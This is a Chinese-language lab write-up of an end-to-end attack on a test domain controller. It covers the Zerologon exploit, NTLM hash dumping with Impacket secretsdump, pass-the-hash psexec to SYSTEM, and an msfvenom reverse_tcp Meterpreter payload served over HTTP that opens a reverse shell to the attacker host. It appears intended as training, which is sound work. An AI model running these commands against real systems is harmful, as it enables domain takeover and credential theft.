端到端域控制器利用,使用Metasploit和Impacket:发现DC10,利用Zerologon (CVE-2020-1472),提取NTLM哈希,获得SYSTEM shell,并建立Meterpreter会话。
从端到端利用域控制器:发现DC10,利用Zerologon(CVE-2020-1472),提取NTLM哈希,获取SYSTEM shell,并建立Meterpreter会话。
执行摘要 本练习演示了针对一个存在CVE-2020-1472(Zerologon)漏洞的域控制器的完整、真实的攻击链。整个交互过程包括发现、服务信息收集、漏洞利用、凭据提取、横向移动和后利用验证。我成功获得了SYSTEM级别的访问权限,并通过结合Zerologon、Impacket secretsdump + 哈希传递以及msfvenom/meterpreter载荷,在DC上建立了一个持久的Meterpreter会话。在每个阶段都捕获了截图和命令产物作为证据。
实验概述: 模拟了对一个Windows域控制器的完整攻击链,使用了Metasploit和Impacket,包括发现、Zerologon、secretsdump、哈希传递以及受控的Meterpreter会话。
为什么对组织来说很重要: 因为DC控制整个域的认证、组策略和身份,一次入侵就能级联导致完全的业务中断、帐户接管、数据泄露、勒索软件部署和监管信任丧失。保护DC能够通过阻止攻击者将身份变成单点故障来保障正常运行时间、收入和声誉。
你在一个受控的实验室网络中拥有两台机器。一个系统是名为DC10的Windows域控制器,它承载核心AD服务。另一个系统是放置在同一个服务器子网中进行测试的Kali工作站。假设DC暴露了典型的域服务(例如,LDAP、Kerberos、SMB),并且可能存在已知漏洞。Kali主机预计用于侦察、漏洞利用、凭据访问、横向移动和后利用验证。任务是识别DC,确认域详细信息,使用适用的技术获得初始立足点,提取凭据材料以实现管理访问,然后通过远程shell和受管理的代理会话展示对DC的控制,同时适应任何环境限制,如已修补的服务、受限出口或端点防御。 DC: 10.1.16.1 Kali: 10.1.16.66
我使用了带有数据库支持的msfconsole,在MSF中运行了nmap扫描,导入了结果,并整理了主机和服务以确认DC10的暴露情况。
我在MSF中进行了SYN端口扫描,对SMB进行了指纹识别,并确认了10.1.16.1上的LDAP和Kerberos。我查询了LDAP以获取域名。
### SMB版本检查
auxiliary/scanner/smb/smb_version。
auxiliary/gather/ldap_query。
我针对DC10运行了auxiliary/admin/dcerpc/cve_2020_1472_zerologon,将机器帐户密码重置为空。
使用Impacket,我从DC转储了NTLM哈希,并识别出了Administrator凭据以进行哈希传递。
impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]
我使用哈希传递和psexec在DC10上获得了SYSTEM级别的shell,并验证了主机身份。
impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
如您所见,我已经位于C:\Windows\system32中。
我生成了一个reverse_tcp meterpreter载荷,通过HTTP托管它,下载到DC10,启动了一个处理程序,并执行了载荷以打开一个Meterpreter会话。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe
我启动了一个基本的web服务器,以便目标系统能够轻松访问这个meterpreter可执行文件,使用命令:
python3 -m http.server 8080
在目标机器上,我执行了meterpreter可执行文件(secret.exe)
如您所见,我现在已经在目标DC10和Kali系统之间建立了一个反向shell连接。这是通过仅使用针对易受攻击目标的外部/远程漏洞实现的。
虽然Kali系统与DC10目标位于同一服务器子网中,但如果目标系统暴露在开放互联网上,这类攻击在互联网上也是可能的。